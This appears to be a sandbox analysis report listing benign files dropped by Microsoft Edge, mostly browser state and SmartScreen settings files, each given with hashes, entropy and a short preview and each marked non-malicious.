SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b382.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b392.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b518.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dbea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4128a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c5ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52189.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y 